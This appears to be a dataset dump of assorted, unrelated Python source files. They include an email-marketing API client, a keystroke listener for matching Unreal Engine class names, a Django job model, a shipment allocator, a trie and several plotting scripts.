order.name,\n\t\t\t\t# \"desc\": \"
    Delivery Note
    %s
    Customer
    %s
    Technician
    %s
    Start Date
    %s
    End Date
    %s
    \"%(order.name, order.customer_name,order.technician, order.start_date, order.end_date),\n\t\t\t\t\"from\": order.start_date,\n\t\t\t\t\"to\": order.end_date,\n\t\t\t\t\"status\": order.status,\n\t\t\t\t\"technician\": order.technician,\n\t\t\t\t\"customer\": order.customer_name\n\t\t\t})\n\n\treturn values\n","sub_path":"das/das/page/dispatching_dashboar/dispatching_dashboar.py","file_name":"dispatching_dashboar.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"493396768","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.optimize import curve_fit\n\nn, x, D = np.genfromtxt('beidseitig2.txt', unpack=True)\ny = 4*(x*10**(-2))**3 - 12*0.554*(x*10**(-2))**2 + 9*0.554**2*x*10**(-2) - 0.554**3\nplt.plot(y*10**3, D*10, 'r.', label='Biegung an Stelle x', Markersize=4)\n\ndef f(x, a, b):\n return a * x + b\n\nx_plot = np.linspace(0.01,0.17)\nparams, covariance_matrix = curve_fit(f, y, D*10**(-2))\nplt.gcf().subplots_adjust(bottom=0.18)\nplt.plot(x_plot*10**3, f(x_plot, *params)*10**3, 'k-', label='Anpassungsfunktion', linewidth=0.5)\nplt.title('Verhältnis Auslenkung zu Polynom des runden Stabes (x > L/2)')\nplt.legend()\nplt.grid()\nplt.xlabel('$(4x^3 - 12Lx^2 + 9L^2x - L^3)$ / $(10^{-3} m^3)$')\nplt.ylabel('$D_{B}$(x) / $(10^{-3} m)')\nprint(params)\nprint(np.sqrt(np.diag(covariance_matrix)))\n\nplt.savefig('build/Beidseitig2.pdf')\n","sub_path":"V103-Biegung/plot4.py","file_name":"plot4.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"101681897","text":"# -*- coding: utf-8 -*-\n\nimport hashlib\nfrom sailthru_http import sailthru_http_request\n\ntry: import simplejson as json\nexcept ImportError: import json\n\ndef extract_params(params):\n \"\"\"\n Extracts the values of a set of parameters, recursing into nested dictionaries.\n \"\"\"\n values = []\n if type(params) == type(dict()):\n for key, value in params.items():\n values.extend(extract_params(value))\n elif type(params) == type(list()):\n for value in params:\n values.extend(extract_params(value))\n else:\n values.append(params)\n return values\n\ndef get_signature_string(params, secret):\n \"\"\"\n Returns the unhashed signature string (secret + sorted list of param values) for an API call.\n @param params: dictionary values to generate signature string\n @param sercret: secret string\n \"\"\"\n str_list = []\n for item in extract_params(params):\n str_list.append(str(item))\n str_list.sort()\n return secret + \"\".join(str_list)\n\ndef get_signature_hash(params, secret):\n \"\"\"\n Returns an MD5 hash of the signature string for an API call.\n @param params: dictionary values to generate signature hash\n @param sercret: secret string\n \"\"\"\n return hashlib.md5(get_signature_string(params, secret)).hexdigest()\n\n\nclass SailthruClient(object):\n\n \"\"\"\n This class makes HTTP Request to Sailthru API server\n Response from server depends on the format being queried\n If 'json' format is requested, client will recieve JSON object\n XML format is also available but XML response have not been tested thoroughly\n https://github.com/sailthru/sailthru-python-client\n\n Usage:\n from sailthru import SailthruClient\n api_key = \"your-api-key\"\n api_secret = \"api-secret\"\n client = SailthruCLient(api_key, api_secret)\n \"\"\"\n\n def __init__(self, api_key, secret, api_url=None):\n self.api_key = api_key\n self.secret = secret\n self.api_url = api_url if (api_url is not None) else 'https://api.sailthru.com'\n self.user_agent = 'Sailthru API Python Client'\n\n def send(self, template, email, _vars = {}, options = {}, schedule_time = None):\n \"\"\"\n Remotely send an email template to a single email address.\n http://docs.sailthru.com/api/send\n @param template: template string\n @param email: Email value\n @param _vars: a key/value hash of the replacement vars to use in the send. Each var may be referenced as {varname} within the template itself\n @param options: optional dictionary to include replyto and/or test keys\n @param schedule_time: do not send the email immediately, but at some point in the future. Any date recognized by PHP's strtotime function is valid, but be sure to specify timezone or use a UTC time to avoid confusion\n \"\"\"\n data = {}\n data['template'] = template\n data['email'] = email\n data['vars'] = _vars\n data['options'] = options.copy()\n if schedule_time is not None:\n data['schedule_time'] = schedule_time\n return self.api_post('send', data)\n\n def multi_send(self, template, emails, _vars = {}, evars = {}, options = {}):\n \"\"\"\n Remotely send an email template to multiple email addresses.\n http://docs.sailthru.com/api/send\n @param template: template string\n @param emails: List with email values or comma separated email string\n @param _vars: a key/value hash of the replacement vars to use in the send. Each var may be referenced as {varname} within the template itself\n @param options: optional dictionary to include replyto and/or test keys\n @param schedule_time: do not send the email immediately, but at some point in the future. Any date recognized by PHP's strtotime function is valid, but be sure to specify timezone or use a UTC time to avoid confusion\n \"\"\"\n data = {}\n data['template'] = template\n data['email'] = ','.join(emails) if type(emails) is list else emails\n data['vars'] = _vars.copy()\n data['evars'] = evars.copy()\n data['options'] = options.copy()\n return self.api_post('send', data)\n\n def get_send(self, send_id):\n \"\"\"\n Get the status of a send\n \"\"\"\n return self.api_get('send', {'send_id': send_id})\n\n def cancel_send(self, send_id):\n \"\"\"\n Cancels an email that you had previously scheduled for future sending with the schedule_time parameter. It is not possible to cancel an email that has not been scheduled.\n \"\"\"\n return self.api_delete('send', {'send_id': send_id})\n\n def get_email(self, email):\n \"\"\"\n get user email data\n http://docs.sailthru.com/api/email\n \"\"\"\n data = {'email': email}\n return self._api_request('email', data, 'GET')\n\n def set_email(self, email, _vars={}, lists=[], templates=[], verified=0, optout=None, send=None, send_vars=[]):\n \"\"\"\n Update information about one of your users, including adding and removing the user from lists.\n http://docs.sailthru.com/api/email\n \"\"\"\n data = {}\n data['email'] = email\n data['vars'] = _vars.copy()\n data['lists'] = lists\n data['templates'] = templates\n data['verified'] = int(verified)\n if optout is not None:\n data['optout'] = optout\n if send is not None:\n data['send'] = send\n data['send_vars'] = send_vars\n return self.api_post('email', data)\n\n def schedule_blast(self, name, list, schedule_time, from_name, from_email, subject, content_html, content_text, options={}):\n \"\"\"\n Schedule a mass mail blast\n http://docs.sailthru.com/api/blast\n @param name: name to give to this new blast\n @param list: mailing list name to send to\n @param schedule_time: when the blast should send. Dates in the past will be scheduled for immediate delivery. Any English textual datetime format known to PHP's strtotime function is acceptable, such as 2009-03-18 23:57:22 UTC, now (immediate delivery), +3 hours (3 hours from now), or February 14, 9:30 EST. Be sure to specify a timezone if you use an exact time.\n @param from_name: name appearing in the \"From\" of the email\n @param from_email: email address to use as the \"from\" – choose from any of your verified emails\n @param subject: subject line of the email\n @param content_html: HTML format version of the email\n @param content_text: Text format version of the email\n @param options: optional parameters dictionary\n blast_id\n copy_blast\n copy_template\n replyto\n report_email\n is_link_tracking\n is_google_analytics\n is_public\n suppress_list\n test_vars\n email_hour_range\n abtest\n test_percent\n data_feed_url\n \"\"\"\n data = options.copy()\n data['name'] = name\n data['list'] = list\n data['schedule_time'] = schedule_time\n data['from_name'] = from_name\n data['from_email'] = from_email\n data['subject'] = subject\n data['content_html'] = content_html\n data['content_text'] = content_text\n return self.api_post('blast', data)\n\n def schedule_blast_from_template(self, template, list, schedule_time, options={}):\n \"\"\"\n Schedule a mass mail blast from template\n http://docs.sailthru.com/api/blast\n @param template: template to copy from\n @param list: List String\n @param schedule_time\n @param options: additional optional params\n \"\"\"\n data = options.copy()\n data['copy_template'] = template\n data['list'] = list\n data['schedule_time'] = schedule_time\n return self.api_post('blast', data)\n\n def schedule_blast_from_blast(self, blast_id, schedule_time, options={}):\n \"\"\"\n Schedule a mass mail blast from previous blast\n http://docs.sailthru.com/api/blast\n @param blast_id: blast_id to copy from\n @param schedule_time\n @param options: additional optional params\n \"\"\"\n data = options.copy()\n data['copy_blast'] = blast_id\n data['schedule_time'] = schedule_time\n return self.api_post('blast', data)\n\n def update_blast(self, blast_id, name=None, list=None, schedule_time=None, from_name=None, from_email=None, subject=None, content_html=None, content_text=None, options={}):\n \"\"\"\n updates existing blast\n http://docs.sailthru.com/api/blast\n @param blast_id: blast id\n @param name: name of the blast\n @param list: blast list\n @param schedule_time: new schedule time\n @param from_name: name appearing in the \"From\" of the email\n @param from_email: email address to use as the \"from\" – choose from any of your verified emails\n @param subject: subject line of the email\n @param content_html: HTML format version of the email\n @param content_text: Text format version of the email\n @param options: optional parameters dictionary\n blast_id\n copy_blast\n copy_template\n replyto\n report_email\n is_link_tracking\n is_google_analytics\n is_public\n suppress_list\n test_vars\n email_hour_range\n abtest\n test_percent\n data_feed_url\n \"\"\"\n data = options.copy()\n data['blast_id'] = blast_id\n if name is not None:\n data['name'] = name\n if list is not None:\n data['list'] = list\n if schedule_time is not None:\n data['schedule_time'] = schedule_time\n if from_name is not None:\n data['from_name'] = from_name\n if from_email is not None:\n data['from_email'] = from_email\n if subject is not None:\n data['subject'] = subject\n if content_html is not None:\n data['content_html'] = content_html\n if content_text is not None:\n data['content_text'] = content_text\n return self.api_post('blast', data)\n\n def get_blast(self, blast_id):\n \"\"\"\n Get Blast information\n http://docs.sailthru.com/api/blast\n \"\"\"\n return self.api_get('blast', {'blast_id': blast_id})\n\n def delete_blast(self, blast_id):\n \"\"\"\n delete existing blast\n \"\"\"\n return self.api_delete('blast', {'blast_id': blast_id})\n\n def cancel_blast(self, blast_id):\n \"\"\"\n Cancel a scheduled Blast\n \"\"\"\n data = {}\n data['blast_id'] = blast_id\n data['schedule_time'] = ''\n return self.api_post('blast', data)\n\n def get_template(self, template_name):\n \"\"\"\n get information of a given template\n \"\"\"\n return self.api_get('template', {'template': template_name})\n\n def get_templates(self):\n \"\"\"\n get metadata for all user templates\n \"\"\"\n data = {'template': ''}\n return self.api_get('template', data)\n\n def delete_template(self, template_name):\n \"\"\"\n delete existing template\n \"\"\"\n data = {'template': template_name}\n return self.api_delete('template', data)\n\n def save_template(self, template, template_fields = {}):\n data = template_fields.copy()\n data['template'] = template\n return self.api_post('template', data)\n\n def get_list(self, list, format='txt'):\n \"\"\"\n Download a list. Obviously, this can potentially be a very large download.\n 'txt' is default format since, its more compact as compare to others\n http://docs.sailthru.com/api/list\n \"\"\"\n data = {}\n data['list'] = list\n data['format'] = format\n return self.api_get('list', data)\n\n def get_lists(self):\n \"\"\"\n Get metadata for all lists\n \"\"\"\n data = {'list': ''} #blank list\n return self.api_get('list', data)\n\n def save_list(self, list, emails):\n \"\"\"\n Upload a list. The list import job is queued and will happen shortly after the API request.\n http://docs.sailthru.com/api/list\n @param list: list name\n @param emails: List of email values or comma separated string\n \"\"\"\n data = {}\n data['list'] = list\n data['emails'] = ','.join(emails) if emails is list else emails\n return self.api_post('list', data)\n\n def delete_list(self, list):\n \"\"\"\n delete given list\n http://docs.sailthru.com/api/list\n \"\"\"\n return self.api_delete('list', {'list': list})\n\n def import_contacts(self, email, password, include_name=False):\n \"\"\"\n Fetch email contacts from a user's address book on one of the major email websites. Currently supports AOL, Gmail, Hotmail, and Yahoo! Mail.\n \"\"\"\n data = {}\n data['email'] = email\n data['password'] = password\n if include_name == True:\n data['names'] = 1\n return self.api_post('contacts', data)\n\n def push_content(self, title, url, date=None, tags=None, vars={}):\n \"\"\"\n Push a new piece of content to Sailthru, triggering any applicable alerts.\n @param title: title string for the content\n @param url: URL string for the content\n @param date: date string\n @param tags: list or comma separated string values\n @param vars: replaceable vars dictionary\n \"\"\"\n data = {}\n data['title'] = title\n data['url'] = url\n if date is not None:\n data['date'] = date\n if tags is not None:\n data['tags'] = \",\".join(tags) if type(tags) is list else tags\n if len(vars) > 0:\n data['vars'] = vars.copy()\n return self.api_post('content', data)\n\n def get_alert(self, email):\n \"\"\"\n Retrieve a user's alert settings.\n \"\"\"\n return self.api_get('alert', {'email': email})\n\n def save_alert(self, email, type, template, when=None, options={}):\n \"\"\"\n Add a new alert to a user. You can add either a realtime or a summary alert (daily/weekly).\n http://docs.sailthru.com/api/alert\n\n Usage:\n email = 'praj@sailthru.com'\n type = 'weekly'\n template = 'default'\n when = '+5 hours'\n alert_options = {'match': {}, 'min': {}, 'max': {}, 'tags': []}\n alert_options['match']['type'] = 'shoes'\n alert_options['min']['price'] = 20000 #cents\n alert_options['tags'] = ['red', 'blue', 'green']\n response = client.save_alert(email, type, template, when, alert_options)\n\n @param email: Email value\n @param type: daily|weekly|realtime\n @param template: template name\n @param when: date string required for summary alert (daily/weekly)\n @param options: dictionary value for adding tags, max price, min price, match type\n \"\"\"\n data = options.copy()\n data['email'] = email\n data['type'] = type\n data['template'] = template\n if (type == 'weekly' or type == 'daily'):\n data['when'] = when\n return self.api_post('alert', data)\n\n def delete_alert(self, email, alert_id):\n \"\"\"\n delete user alert\n \"\"\"\n data = {}\n data['email'] = email\n data['alert_id'] = alert_id\n return self.api_delete('alert', data)\n\n def purchase(self, email, items={}, incomplete=None, message_id=None, options={}):\n \"\"\"\n Record that a user has made a purchase, or has added items to their purchase total.\n http://docs.sailthru.com/api/purchase\n @param email: Email string\n @param items: list of item dictionary with keys: id, title, price, qty, and url\n @param message_id: message_id string\n @param options\n \"\"\"\n data = options.copy()\n data['email'] = email\n data['items'] = items\n if incomplete is not None:\n data['incomplete'] = incomplete\n if message_id is not None:\n data['message_id'] = message_id\n\n return self.api_post('purchase', data)\n\n def stats_list(self, list=None, date=None):\n \"\"\"\n Retrieve information about your subscriber counts on a particular list, on a particular day.\n http://docs.sailthru.com/api/stat\n \"\"\"\n data = {}\n if list is not None:\n data['list'] = list\n if date is not None:\n data['date'] = date\n data['stat'] = 'list'\n return self._stats(data)\n\n def stats_blast(self, blast_id=None, start_date=None, end_date=None, options={}):\n \"\"\"\n Retrieve information about a particular blast or aggregated information from all of blasts over a specified date range.\n http://docs.sailthru.com/api/stat\n \"\"\"\n data = options.copy()\n if blast_id is not None:\n data['blast_id'] = blast_id\n if start_date is not None:\n data['start_date'] = start_date\n if end_date is not None:\n data['end_date'] = end_date\n data['stat'] = 'blast'\n return self._stats(data)\n\n def get_horizon(self, email, hid_only=False):\n \"\"\"\n Get horizon user data\n http://docs.sailthru.com/api/horizon\n \"\"\"\n data = {'email': email}\n if hid_only == True:\n data['hid_only'] = 1\n return self.api_get('horizon', data)\n\n def set_horizon(self, email, tags=None):\n \"\"\"\n Set horizon user data\n http://docs.sailthru.com/api/horizon\n \"\"\"\n data = {'email': email}\n if tags is not None:\n data['tag'] = ','.join(tags) if type(tags) is list else tags\n return self.api_post('horizon', data)\n\n def _stats(self, data):\n \"\"\"\n Make Stats API Request\n \"\"\"\n return self.api_get('stats', data)\n\n def receive_verify_post(self, post_params):\n \"\"\"\n Returns true if the incoming request is an authenticated verify post.\n \"\"\"\n if type(post_params) is dict:\n required_params = ['action', 'email', 'send_id', 'sig']\n if self.check_for_valid_postback_actions(required_params, post_params) is False:\n return False\n else:\n return False\n\n if action != 'verify':\n return False\n\n sig = post_params['sig']\n del post_params['sig']\n\n send_response = self.get_send(post_params['send_id'])\n try:\n send_response = json.loads(send_response)\n if not 'email' in send_response:\n return False\n except json.decoder.JSONDecodeError as json_err:\n return False\n\n if send_response['email'] != post_params['email']:\n return False\n\n return True\n\n def receive_optout_post(self, post_params):\n \"\"\"\n Optout postbacks\n \"\"\"\n if type(post_params) is dict:\n required_params = ['action', 'email', 'sig']\n if self.check_for_valid_postback_actions(required_params, post_params) is False:\n return False\n else:\n return False\n\n if post_params['action'] != 'optout':\n return False\n\n signature = post_params['sig']\n del post_params['sig']\n\n if signature != get_signature_hash(post_params, self.secret):\n return False\n\n return True\n\n def receive_hardbounce_post(self, post_params):\n \"\"\"\n Hard bounce postbacks\n \"\"\"\n if type(post_params) is dict:\n required_params = ['action', 'email', 'sig']\n if self.check_for_valid_postback_actions(required_params, post_params ) is False:\n return False\n else:\n return False\n\n if post_params['action'] != 'hardbounce':\n return False\n\n signature = post_params['sig']\n del post_params['sig']\n\n if signature != get_signature_hash(post_params, self.secret):\n return False\n\n # for sends\n if 'send_id' in post_params:\n send_id = post_params['send_id']\n send_response = self.get_send(send_id)\n try:\n send_response = json.loads(send_response)\n if not 'email' in send_response:\n return False\n except json.decoder.JSONDecodeError as json_err:\n return False\n\n # for blasts\n if 'blast_id' in post_params:\n blast_id = post_params['blast_id']\n blast_response = self.get_blast(blast_id)\n try:\n blast_response = json.loads(blast_response)\n if 'error' in blast_response:\n return False\n except json.decoder.JSONDecodeError as json_err:\n return False\n\n return True\n\n def check_for_valid_postback_actions(self, required_keys, post_params):\n \"\"\"\n checks if post_params contain required keys\n \"\"\"\n for key in required_keys:\n if not key in post_params:\n return False\n return True\n\n def api_get(self, action, data):\n \"\"\"\n Perform an HTTP GET request, using the shared-secret auth hash.\n @param action: API action call\n @param data: dictionary values\n \"\"\"\n return self._api_request(action, data, 'GET')\n\n def api_post(self, action, data):\n \"\"\"\n Perform an HTTP POST request, using the shared-secret auth hash.\n @param action: API action call\n @param data: dictionary values\n \"\"\"\n return self._api_request(action, data, 'POST')\n\n def api_delete(self, action, data):\n \"\"\"\n Perform an HTTP DELETE request, using the shared-secret auth hash.\n @param action: API action call\n @param data: dictionary values\n \"\"\"\n return self._api_request(action, data, 'DELETE')\n\n def _api_request(self, action, data, request_type):\n \"\"\"\n Make Request to Sailthru API with given data and api key, format and signature hash\n \"\"\"\n data['api_key'] = self.api_key\n data['format'] = data.get('format', 'json')\n data['sig'] = ''\n data['sig'] = get_signature_hash(data, self.secret)\n return self._http_request(self.api_url+'/'+action, data, request_type)\n\n def _http_request(self, url, data, method='POST'):\n return sailthru_http_request(url, data, method)\n","sub_path":"sailthru/sailthru_client.py","file_name":"sailthru_client.py","file_ext":"py","file_size_in_byte":22801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"292565973","text":"\nfrom pynput.keyboard import Key, Listener\nimport re\nfrom Handlers import BeautifulSoupHandler\nfrom events import Events\n\nKeyIgnores = [\n \"key.enter\",\n \"key.space\"\n]\n\nclass KeyHandler():\n\n #optional parameters, event params are just for what functions to call when matched, the dictionairy can be parsed in to save recalling of a latent function\n def __init__(self, AEventParams = [], AClassDict = BeautifulSoupHandler.GetAllClasses()) -> None:\n \n print(\"Unreal Classes Loaded\")\n\n self.Keys = []\n self.UnrealClassesDict = AClassDict\n\n self.EventHandler = Events()\n if len(AEventParams) == 0:\n self.EventHandler.on_change += self.DummyEvent\n else:\n for Event in AEventParams:\n self.EventHandler.on_change += Event\n\n with Listener(on_press = self.ProcessStrokes) as listener: \n listener.join()\n\n def IsNotBlackListedKeys(self, Key) -> bool:\n return Key.lower() in KeyIgnores #to rid key.space, key.backspace\n\n def IsNotCharacter(self, Key) -> bool:\n return \"key\" in Key.lower() #to rid key.anything\n\n def DummyEvent(self, Keyword, URL, Include) -> None: #dummy event if no event is put in the EventParams\n print(\"%s %s %s\" % (Keyword, URL, Include))\n\n def ProcessStrokes(self, Key) -> None:\n \n Key = str(Key).replace(\"\\'\", \"\")\n\n if Key.lower() == \"key.backspace\" and len(self.Keys) > 0:\n self.Keys.pop()\n return\n\n if self.IsNotBlackListedKeys(Key): #on blacklisted key pressed flush characters\n self.Keys = []\n return\n\n if self.IsNotCharacter(Key):#ignore shift keys\n return\n \n self.Keys.append(Key) #add character into Keys\n\n print(self.Keys)\n\n Joined = \"\".join(self.Keys).lower()\n \n if Joined in list(self.UnrealClassesDict.keys()): \n self.EventHandler.on_change(\n Joined,\n self.UnrealClassesDict[Joined],\n BeautifulSoupHandler.GetClassInclude(self.UnrealClassesDict[Joined])\n ) #event dispatches\n\nif __name__ == \"__main__\":\n import BeautifulSoupHandler\n K = KeyHandler([], BeautifulSoupHandler.GetAllClasses())","sub_path":"SRC/Handlers/KeyStrokeHandler.py","file_name":"KeyStrokeHandler.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"471639599","text":"import sys\nfrom collections import deque\n\nsys.setrecursionlimit(10**7)\ninput = sys.stdin.readline\n\nn,x,y = map(int, input().split())\n\ng = [[] for _ in range(n)]\n\nfor i in range(1, n):\n a = i - 1\n b = i\n g[a].append(b)\n g[b].append(a)\nx -= 1\ny -= 1\ng[x].append(y)\ng[y].append(x)\n\n# BFSによる距離計算\nans = [0] * n\nfor i in range(n):\n stack = deque()\n dis = [0] * n\n seen = [False] * n\n stack = deque()\n stack.append(i)\n seen[i] = True\n while stack:\n v = stack.popleft()\n for nv in g[v]:\n if seen[nv]:\n continue\n dis[nv] = dis[v] + 1\n seen[nv] = True\n stack.append(nv)\n for j in range(n):\n ans[dis[j]] += 1\n\n# (1,2)(2,1)を重複して数えているので2で割る\nfor i in range(1, n):\n print(ans[i] // 2)\n","sub_path":"atcorder/abc160/d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"615983238","text":"from django.conf import settings\nfrom django.db import models\nfrom django.urls import reverse\nfrom django.contrib.auth.models import User\nfrom Company.models import Company\nfrom django.utils import timezone\nfrom django.db.models.signals import pre_save\nfrom django.utils.text import slugify\nfrom .utils import unique_slug_generator\nfrom markdown_deux import markdown\nfrom django.utils.safestring import mark_safe\n\n\n# MVC MODEL VIEW CONTROLLER\n\n\nclass JobPostQuerySet(models.query.QuerySet):\n def not_draft(self):\n return self.filter(draft=True)\n \n def deadlined(self):\n return self.filter(application_deadline__lte=timezone.now()).not_draft()\n\nclass JobPostManager(models.Manager):\n def get_queryset(self, *args, **kwargs):\n return JobPostQuerySet(self.model, using=self._db)\n \n def active(self, *args, **kwargs):\n # Post.objects.all() = super(PostManager, self).all()\n return self.get_queryset().deadlined()\n\n\n\nEMPLOYMENT_STATUS_CHOICES = (\n ('f', 'Full Time'),\n ('p', 'Part Time'),\n ('r', 'Remote')\n )\n\nclass Category(models.Model):\n name = models.CharField(max_length=120)\n\n\n\n\nclass Job(models.Model):\n company = models.ForeignKey(Company, on_delete=models.CASCADE, null=True, blank=True)\n position = models.CharField(max_length=120)\n vacancy = models.IntegerField(null=True, blank=True)\n job_context \t = models.TextField(null=True, blank=True)#richtextfield\n job_responsibility = models.TextField(null=True, blank=True)#richtextfield\n employment_status = models.CharField(max_length=1, choices=EMPLOYMENT_STATUS_CHOICES, null=True, blank=True)\n educational_req = models.TextField(null=True, blank=True)#richtextfield\n experience_req = models.TextField(null=True, blank=True)#richtextfield\n additional_req = models.TextField(null=True, blank=True)#richtextfield\n job_location = models.CharField(max_length=150, null=True, blank=True)\n salaray = models.IntegerField(null=True, blank=True)\n compensation = models.TextField(null=True, blank=True)\n application_deadline = models.DateField(auto_now=False, auto_now_add=False, null=True, blank=True)\n application_procedure = models.TextField(null=True, blank=True)\n publish_on \t \t = models.DateTimeField(auto_now=True, auto_now_add=False)\n draft = models.BooleanField(default=False)\n slug = models.SlugField(unique=True, null=True, blank=True)\n category = models.ForeignKey(Category, on_delete=models.CASCADE, null=True, blank=True)\n count = models.IntegerField(default=0)\n\n\n objects = JobPostManager()\n\n\n def __str__(self):\n return str(self.position)\n\n\n class Meta:\n ordering = [\"-publish_on\"]\n\n\n def get_absolute_url(self):\n return reverse(\"Employee:home\")\n\n\n def get_markdown(self):\n job_context = self.job_context\n markdown_text = markdown(job_context)\n return mark_safe(markdown_text)\n\n\n\n\n\ndef create_slug(instance, new_slug=None):\n slug = slugify(instance.position)\n if new_slug is not None:\n slug = new_slug\n qs = Job.objects.filter(slug=slug).order_by(\"-id\")\n exists = qs.exists()\n if exists:\n new_slug = \"%s-%s\" %(slug, qs.first().id)\n return create_slug(instance, new_slug=new_slug)\n return slug\n\n\ndef pre_save_job_receiver(sender, instance, *args, **kwargs):\n if not instance.slug:\n instance.slug = unique_slug_generator(instance)\n\n\n\npre_save.connect(pre_save_job_receiver, sender=Job)\n\n","sub_path":"src/Job/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"174430923","text":"from typing import Dict, List, NewType, TypedDict\n\nItems = NewType('Items', Dict[str, int])\nShipment = NewType('Shipment', Dict[str, Items])\nclass WareHouse(TypedDict):\n name: str\n inventory: Items\n\n\"\"\"\nASSUMPTIONS:\n 0. Clarification on inputs from engineer at Deliverr (Joshua Kastendick)\n - You can assume that the inputs passed to you are of the correct type (but could be empty).\n - Item quantities are non-negative; they can be 0 or positive, but not negative.\n 1. Shipping from one warehouse is cheaper than multiple warehouses\n 2. Number of items shipped from each warehouse does not affect the cost\n 3. For shipments with same number of warehouses, return shipment that has the first cheaper warehouse not in the other shipments\n In other words, a greedy algorithm that ships as much inventory as possible from cheaper warehouses\n (ie. for inventory [w1, w2, w3, w4, w5], prefer shipment [w1, w4] over [w2, w3] and [w1, w2, w5] over [w1, w3, w4])\n\"\"\"\ndef get_shipment(order: Items, inventory: List[WareHouse]) -> List[Shipment]:\n \"\"\"\n Assumes order and inventory are of the correct type\n :param order: map of items being ordered + how many are ordered\n :param inventory: list of warehouse name and their respective item inventory amounts\n :return: cheapest shipment if it exists, else NO_SHIPMENT\n \"\"\"\n NO_ITEMS, NO_SHIPMENT = {}, [] # predefined constants\n\n def dfs(this_order: Items, warehouse_idx: int):\n \"\"\"\n DFS to traverse order/warehouse state space, using greedy method to complete shipments one warehouse at a time\n :param this_order: the current order to fulfill, must be non-empty\n :param warehouse_idx: idx of warehouse to first attempt to fill in inventory list\n :return: cheapest shipment, if shipment exists (otherwise no shipment)\n \"\"\"\n assert this_order != NO_ITEMS, \"predefined condition of parameter 'this_order'\"\n if warehouse_idx == len(inventory): return NO_SHIPMENT # base case: no more warehouses\n\n warehouse = inventory[warehouse_idx] # the current warehouse\n foundItems = {} # greedy, grab max items from this warehouse to include in shipment\n next_order = {} # remaining items to ship after grabbing all possible from this warehouse\n for item, count in this_order.items():\n if item in warehouse['inventory']:\n stock = warehouse['inventory'][item] # item's available stock in this warehouse\n if count > stock:\n next_order[item] = count - stock\n foundItems[item] = min(count, stock)\n else:\n next_order[item] = count\n\n include = [{warehouse['name']: foundItems}] # shipment that includes items from this warehouse\n if next_order == NO_ITEMS: return include # edge case, greedy: ship entire order from this warehouse (cheaper than any warehouse after)\n\n exclude = dfs(this_order, warehouse_idx + 1) # shipment that excludes items from this warehouse\n if foundItems == NO_ITEMS: return exclude # edge case, no items in order can be shipped from this warehouse\n\n shipment = dfs(next_order, warehouse_idx + 1) # shipment based on remaining items to ship with the rest of the warehouses (of higher cost)\n if shipment == NO_SHIPMENT: return exclude # edge case, if no shipment possible that includes this warehouse and remaining items\n\n include += shipment # append shipments from remaining (higher cost) warehouses to shipment from this warehouse\n if exclude == NO_SHIPMENT: return include # edge case, if no shipment possible without using this warehouse\n\n return min(include, exclude, key=len) # return the shipment with less warehouses (if equal, prefer shipment that includes this warehouse)\n\n order = {k:v for k,v in order.items() if v>0} # ignore items with non-positive amount\n if order == NO_ITEMS: return NO_SHIPMENT # edge case, empty order\n\n output = dfs(order, 0)\n output.sort(key = lambda shipment: next(iter(shipment))) # sort shipment list by warehouse name\n return output\n","sub_path":"inventory-allocator/src/order.py","file_name":"order.py","file_ext":"py","file_size_in_byte":4149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"563517573","text":"class TrieNode: \n \n def __init__(self, val: str):\n self.val = val\n self.children = [None] * 26\n self.leaf = False\n \n def makeLeaf(self) -> None:\n self.leaf = True\n \n def isLeaf(self) -> bool:\n return self.leaf\n \n \n\nclass WordDictionary:\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.root = TrieNode(None)\n\n def addWord(self, word: str) -> None:\n \"\"\"\n Adds a word into the data structure.\n \"\"\"\n cur = self.root\n for char in word:\n if cur.children[ord(char)-97] == None:\n cur.children[ord(char)-97] = TrieNode(char)\n cur = cur.children[ord(char)-97]\n cur.makeLeaf()\n \n\n def search(self, word: str) -> bool:\n \"\"\"\n Returns if the word is in the data structure. A word could contain the dot character '.' to represent any one letter.\n \"\"\"\n return self.foundMatchingWord([self.root], word)\n \n \n def foundMatchingWord(self, variants: List[TrieNode], word: str) -> bool:\n for path in variants:\n if self.traverseTrie(path, word):\n return True\n return False\n \n \n def traverseTrie(self, root: TrieNode, word: str) -> bool:\n if len(word) == 0:\n return root.isLeaf()\n cur = root\n newVariants = []\n for i, char in enumerate(word):\n if char == '.':\n for child in cur.children:\n if child is not None:\n newVariants.append(child)\n return self.foundMatchingWord(newVariants, word[i+1:len(word)])\n elif cur.children[ord(char)-97] is None:\n return False\n elif i + 1 == len(word):\n return cur.children[ord(char)-97].isLeaf()\n cur = cur.children[ord(char)-97]\n return False\n \n \n \n \n \n \n\n# Your WordDictionary object will be instantiated and called as such:\n# obj = WordDictionary()\n# obj.addWord(word)\n# param_2 = obj.search(word)\n","sub_path":"leetcode/august-challenge/wordDictionary.py","file_name":"wordDictionary.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"405766820","text":"\"\"\"\nPlotting Utils\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.metrics import confusion_matrix\n\n\ndef plot_confusion_matrix(y_true, predictions, labels, name, save=True):\n \"\"\"\n Plots the confusion matrix.\n :param y_true\n :param predictions\n :param labels: array of labels\n :param name: the name to put in the title\n :param save: whether or not to save the plot, default True\n \"\"\"\n matrix = confusion_matrix(y_true, predictions)\n plt.figure(figsize=(6, 4))\n sns.heatmap(matrix,\n cmap=\"coolwarm\",\n linecolor='white',\n linewidths=1,\n xticklabels=labels,\n yticklabels=labels,\n annot=True,\n fmt=\"d\")\n plt.title(\"Confusion Matrix for {}\".format(name))\n 